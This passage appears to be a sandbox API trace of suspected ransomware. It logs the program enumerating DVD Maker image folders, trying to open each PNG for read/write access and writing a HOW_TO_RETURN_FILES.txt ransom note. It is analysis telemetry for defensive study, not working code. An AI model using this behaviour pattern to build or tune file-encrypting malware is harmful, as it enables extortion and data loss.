dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.809] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.809] AreFileApisANSI () returned 1 [0125.809] GetACP () returned 0x4e4 [0125.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x37dec0) returned 25 [0125.809] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.809] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.809] AreFileApisANSI () returned 1 [0125.809] GetACP () returned 0x4e4 [0125.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-overlay.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-overlay.pngpng", lpUsedDefaultChar=0x37dec0) returned 22 [0125.809] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.810] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.810] AreFileApisANSI () returned 1 [0125.810] GetACP () returned 0x4e4 [0125.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="background.pngrlay.png", lpUsedDefaultChar=0x37dec0) returned 14 [0125.810] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.810] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.810] AreFileApisANSI () returned 1 [0125.810] GetACP () returned 0x4e4 [0125.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="btn-back-static.pngpng", lpUsedDefaultChar=0x37dec0) returned 19 [0125.811] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.811] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.811] AreFileApisANSI () returned 1 [0125.811] GetACP () returned 0x4e4 [0125.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x37dec0) returned 19 [0125.811] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.811] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.811] AreFileApisANSI () returned 1 [0125.811] GetACP () returned 0x4e4 [0125.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="btn-previous-static.pngng", lpUsedDefaultChar=0x37dec0) returned 23 [0125.811] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.812] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.812] AreFileApisANSI () returned 1 [0125.812] GetACP () returned 0x4e4 [0125.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="button-highlight.pngpng", lpUsedDefaultChar=0x37dec0) returned 20 [0125.812] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.812] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.812] AreFileApisANSI () returned 1 [0125.812] GetACP () returned 0x4e4 [0125.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button-overlay.png", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="button-overlay.pngng", lpUsedDefaultChar=0x37dec0) returned 18 [0125.812] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.813] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.813] AreFileApisANSI () returned 1 [0125.813] GetACP () returned 0x4e4 [0125.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Memories_buttonClear.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Memories_buttonClear.pngg", lpUsedDefaultChar=0x37dec0) returned 24 [0125.813] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.813] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.813] AreFileApisANSI () returned 1 [0125.813] GetACP () returned 0x4e4 [0125.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Notes_btn-back-static.png", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Notes_btn-back-static.png", lpUsedDefaultChar=0x37dec0) returned 25 [0125.813] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.813] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.813] AreFileApisANSI () returned 1 [0125.813] GetACP () returned 0x4e4 [0125.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Notes_content-background.png", cchWideChar=28, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Notes_content-background.png9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 28 [0125.813] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.814] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.814] AreFileApisANSI () returned 1 [0125.814] GetACP () returned 0x4e4 [0125.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="scrapbook.png", cchWideChar=13, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="scrapbook.png-background.png", lpUsedDefaultChar=0x37dec0) returned 13 [0125.814] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.814] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.814] AreFileApisANSI () returned 1 [0125.815] GetACP () returned 0x4e4 [0125.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Title_content-background.png", cchWideChar=28, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Title_content-background.png", lpUsedDefaultChar=0x37dec0) returned 28 [0125.815] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.815] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.815] AreFileApisANSI () returned 1 [0125.815] GetACP () returned 0x4e4 [0125.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Title_mainImage-mask.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Title_mainImage-mask.png.png", lpUsedDefaultChar=0x37dec0) returned 24 [0125.815] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.815] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.815] AreFileApisANSI () returned 1 [0125.815] GetACP () returned 0x4e4 [0125.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Title_select-highlight.png", cchWideChar=26, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Title_select-highlight.pngng", lpUsedDefaultChar=0x37dec0) returned 26 [0125.815] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.816] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.816] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.817] AreFileApisANSI () returned 1 [0125.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0125.817] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.818] GetFileType (hFile=0x130) returned 0x1 [0125.819] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.819] AreFileApisANSI () returned 1 [0125.819] GetACP () returned 0x4e4 [0125.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="menu_style_default_Thumbnail.png", cchWideChar=32, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="menu_style_default_Thumbnail.pngpng", lpUsedDefaultChar=0x37df4c) returned 32 [0125.819] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.820] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.820] AreFileApisANSI () returned 1 [0125.820] GetACP () returned 0x4e4 [0125.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x37df4c) returned 32 [0125.820] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.821] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.821] AreFileApisANSI () returned 1 [0125.821] GetACP () returned 0x4e4 [0125.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.pngg", lpUsedDefaultChar=0x37df4c) returned 38 [0125.821] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.821] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.821] AreFileApisANSI () returned 1 [0125.821] GetACP () returned 0x4e4 [0125.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37df4c) returned 33 [0125.821] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.821] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.821] AreFileApisANSI () returned 1 [0125.821] GetACP () returned 0x4e4 [0125.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x37df4c) returned 39 [0125.821] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.822] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.822] AreFileApisANSI () returned 1 [0125.822] GetACP () returned 0x4e4 [0125.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37df4c) returned 30 [0125.822] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.822] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.823] AreFileApisANSI () returned 1 [0125.823] GetACP () returned 0x4e4 [0125.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37df4c) returned 36 [0125.823] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.823] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.823] AreFileApisANSI () returned 1 [0125.823] GetACP () returned 0x4e4 [0125.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OldAge", cchWideChar=6, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OldAgetionUp_SelectionSubpicture.png", lpUsedDefaultChar=0x37df4c) returned 6 [0125.823] AreFileApisANSI () returned 1 [0125.823] GetACP () returned 0x4e4 [0125.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\") returned 51 [0125.843] AreFileApisANSI () returned 1 [0125.843] GetACP () returned 0x4e4 [0125.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.843] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.843] AreFileApisANSI () returned 1 [0125.843] GetACP () returned 0x4e4 [0125.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.843] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.843] AreFileApisANSI () returned 1 [0125.843] GetACP () returned 0x4e4 [0125.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x37dec0) returned 17 [0125.843] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.844] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.844] AreFileApisANSI () returned 1 [0125.844] GetACP () returned 0x4e4 [0125.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="15x15dot.pngk.png", lpUsedDefaultChar=0x37dec0) returned 12 [0125.844] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.844] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.844] AreFileApisANSI () returned 1 [0125.844] GetACP () returned 0x4e4 [0125.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="decorative_rule.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="decorative_rule.png", lpUsedDefaultChar=0x37dec0) returned 19 [0125.844] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.845] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.845] AreFileApisANSI () returned 1 [0125.845] GetACP () returned 0x4e4 [0125.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png\\", lpUsedDefaultChar=0x37dec0) returned 32 [0125.845] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.845] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.845] AreFileApisANSI () returned 1 [0125.845] GetACP () returned 0x4e4 [0125.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.pnga", lpUsedDefaultChar=0x37dec0) returned 38 [0125.846] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.846] FindNextFileW (in: 